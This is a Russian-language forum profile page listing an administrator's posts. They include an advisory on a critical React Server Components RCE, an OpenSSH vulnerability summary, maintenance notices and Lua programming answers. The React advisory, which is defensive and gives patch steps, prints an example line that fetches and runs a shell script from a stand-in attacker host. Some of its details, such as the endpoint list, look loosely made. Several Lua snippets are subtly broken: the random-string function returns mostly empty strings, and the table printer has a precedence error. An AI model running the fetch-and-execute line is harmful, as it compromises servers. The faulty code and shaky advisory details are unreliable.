Перейти к содержанию

TechnoViking

Administrators
  • Постов

    18
  • Зарегистрирован

  • Посещение

Достижения TechnoViking

Apprentice

Apprentice (3/14)

  • One Year In
  • Collaborator
  • One Month Later
  • Dedicated
  • Week One Done

Последние значки

0

Репутация

  1. CVE-2025-55182: критический RCE в React Server Components CVE-2025-55182 — критическая уязвимость (CVSS 10.0), затрагивающая React 19 и механизм React Server Components (RSC). Ошибка позволяет атакующему выполнить произвольный код на сервере, отправив злонамеренный сериализованный RSC-payload. Уязвимость безусловная: не требует авторизации, дополнительных токенов или обходов CORS. Техника RSC — это механизм React, позволяющий выполнять часть логики на сервере, после чего результат сериализуется в собственный протокол и отправляется клиенту. Уязвимость связана с тем, что серверная часть React: десериализует входящие данные без строгой валидации, принимает структуры, которые могут переопределять ссылки на серверные функции, разрешает клиенту принудительно создать объект, вызывающий исполнение произвольного кода. Иными словами: клиент может отправить payload, который заставит сервер выполнить функцию, к которой клиент никогда не должен иметь доступа. така выполняется без авторизации, если приложение использует RSC-эндпоинты, например: /react /rsc /_next/server-actions /.well-known/react Достаточно отправить изменённый RSC-пакет, содержащий вредоносные сериализованные ссылки, чтобы добиться: чтения файлов, выполнения системных команд, выполнения кода внутри серверных функций, обхода любых ограничений маршрутизации. Злоумышленник может вызвать произвольный код на целевом сервере: child_process.exec("curl attacker.com/pwn | sh") или подставить свой код в любую серверную функцию (например, getUser() или save()), что приводит к RCE. Уязвимые пакеты: react-server-dom-webpack 19.0.0 — 19.2.0 react-server-dom-parcel 19.0.0 — 19.2.0 react-server-dom-turbopack 19.0.0 — 19.2.0 Фреймворки: Уязвимы любые фреймворки, использующие RSC: Next.js 15.x, 16.x, часть 14.x-canary Vite + RSC plugin Parcel RSC Turbopack RSC Remix с RSC-адаптацией React Router RSC И даже приложения, созданные командой create-next-app, уязвимы без каких-либо изменений — RSC включён по умолчанию. Способы защиты 1) Обновить React и пакеты RSC до патч-версий: react 19.0.1 / 19.1.2 / 19.2.1 react-server-dom- 19.x.x с патчем* 2) Обновить фреймворки: Next.js → версии с фиксами (15.1.x / 16.0.3+) Плагины RSC для Vite/Parcel/Turbopack → последние релизы React Router / Remix → версии с исправлениями 3) Пересобрать приложение после обновления. 4) Проверить lock-файлы: rm -rf node_modules rm package-lock.json или yarn.lock npm install 5) Ограничить внешние RSC-эндпоинты, если возможно. Как проверить, уязвимо ли приложение Быстрая диагностика: Выполнить: npm ls react-server-dom-webpack npm ls react-server-dom-turbopack Если версия ниже патч-версии — приложение уязвимо. Проверить, включены ли RSC-роуты (Next.js): pages/ app/ server actions Если приложение React использует любой серверный рендеринг + RSC — почти наверняка затронуто.
  2. Технические работы 20 ноября 2025. С 00:00 до 00:15. Возможны перебои с подключениями.
  3. В этой ветке ифнормируем о предстоящих работах
  4. Уязвимости OpenSSH В мире кибербезопасности каждый день появляются новые вызовы, и исследователи из Qualys Security Advisory недавно выявили две серьезные уязвимости, связанные с популярным инструментом OpenSSH. Давайте разберемся, что именно было обнаружено и как это может повлиять на вас и вашу инфраструктуру. Атака типа MitM (Man-in-the-Middle) Представьте себе ситуацию: вы пытаетесь подключиться к своему серверу, и злоумышленник, находящийся между вами и сервером, смог выдать себя за него. Это возможно благодаря уязвимости в OpenSSH, связанной с опцией VerifyHostKeyDNS. Хотя по умолчанию эта опция отключена, она может быть включена в некоторых системах (например, FreeBSD). При активированной проверке, атакующий может обойти все проверки идентичности сервера, что ставит под угрозу безопасность ваших данных. Атака DoS (Denial of Service) Но это ещё не всё! Открытая возможность для DoS-атак может вызвать недоступность вашего сервиса как для клиента, так и для сервера. Здесь злоумышленники могут использовать метод, при котором клиент будет активно запрашивать сервер, что создаст ненужную нагрузку на ресурсы и может привести к исчерпанию памяти или процессора. Это ненадолго, но достаточно, чтобы вызвать серьезные перебои в работе вашего бизнеса. Что делать? Обновите OpenSSH до последних версий! Это важно не только для исправления найденных уязвимостей, но также для получения дополнительных функций безопасности. Кроме того, внедряйте встроенные механизмы защиты, такие как LoginGraceTime и MaxStartups, чтобы минимизировать риски атак. Источник
  5. В этом треде публикуются посты, на которые стоит обратить внимание, если вы следите за миром ИБ
  6. TechnoViking

    Changelog

    История изменений
  7. Для этого достаточно пройтись в цикле по всем элементам local keys={} for key in pairs(t) do table.insert(keys, key) end После этого в таблице keys будут ключи из таблицы t
  8. В lua индексация таблиц начинается с единицы. Попробуйте так: local t = {100} print(t[1])
  9. Существует множество способов для решения вашей задачи. Будем опираться на использование Lua внутри Vikingo Engine. Способ через json: local json = require"json" local t = {a=100, b={c=200}} print(json.encode(t)) Способ через inspect: local inspect = require"inspect" local t = {a=100, b={c=200}} print(inspect(t)) Некоторые примеры из интернета на чистом Lua: #1 function tprint(t, s) for k, v in pairs(t) do local kfmt = '["' .. tostring(k) .. '"]' if type(k) ~= "string" then kfmt = "[" .. k .. "]" end local vfmt = '"' .. tostring(v) .. '"' if type(v) == "table" then tprint(v, s or "" .. kfmt) else if type(v) ~= "string" then vfmt = tostring(v) end print(type(t)..(s or '')..kfmt..' = '..vfmt) end end end local t = {a = 100, b = {c = 200}} print(tprint(t)) #2 function dump_table(o) if type(o) == "table" then local s = "{ " for k, v in pairs(o) do if type(k) ~= "number" then k = '"' .. k .. '"' end s = s .. "[" .. k .. "] = " .. dump_table(v) .. "," end return s .. "} " else return tostring(o) end end local t = {a = 100, b = {c = 200}} print(dump_table(t))
  10. Если вы используете Vikingo Engine, то там можно использовать функцию split из пакета strings: local strings = require("strings") local s = "a,b" local elements = strings.split(s, ",") for _, element in pairs(elements) do print(element) end Ссылка на документацию по пакету https://vikingo.org/ru/engine/docs/lua-api/strings
  11. Для этого можно написать функцию на чистом lua: local charset = "abcdefghijklmnopqrstuvwxyz1234567890" function string.random(length) if length > 0 then return string.random(length - 1) .. charset:sub(math.random(1, #charset), 1) else return "" end end print (string.random(10)) В engine есть встроенная функция random_string, которая входит в пакет utils.
  12. Запустили русскоязычный канал и группу в телеграме. Там будем публиковать новости о нашем софте, важные изменения и анонсы. В группе можно пообщаться на разные темы. Ссылка на канал: https://t.me/vkngpub Ссылка на группу: https://t.me/vkngru
  13. Для этого можно воспользоваться встроенной функцией tonumber Пример: local s = "100" print(type(s)) local num = tonumber(s) print(type(num))
×
×
  • Создать...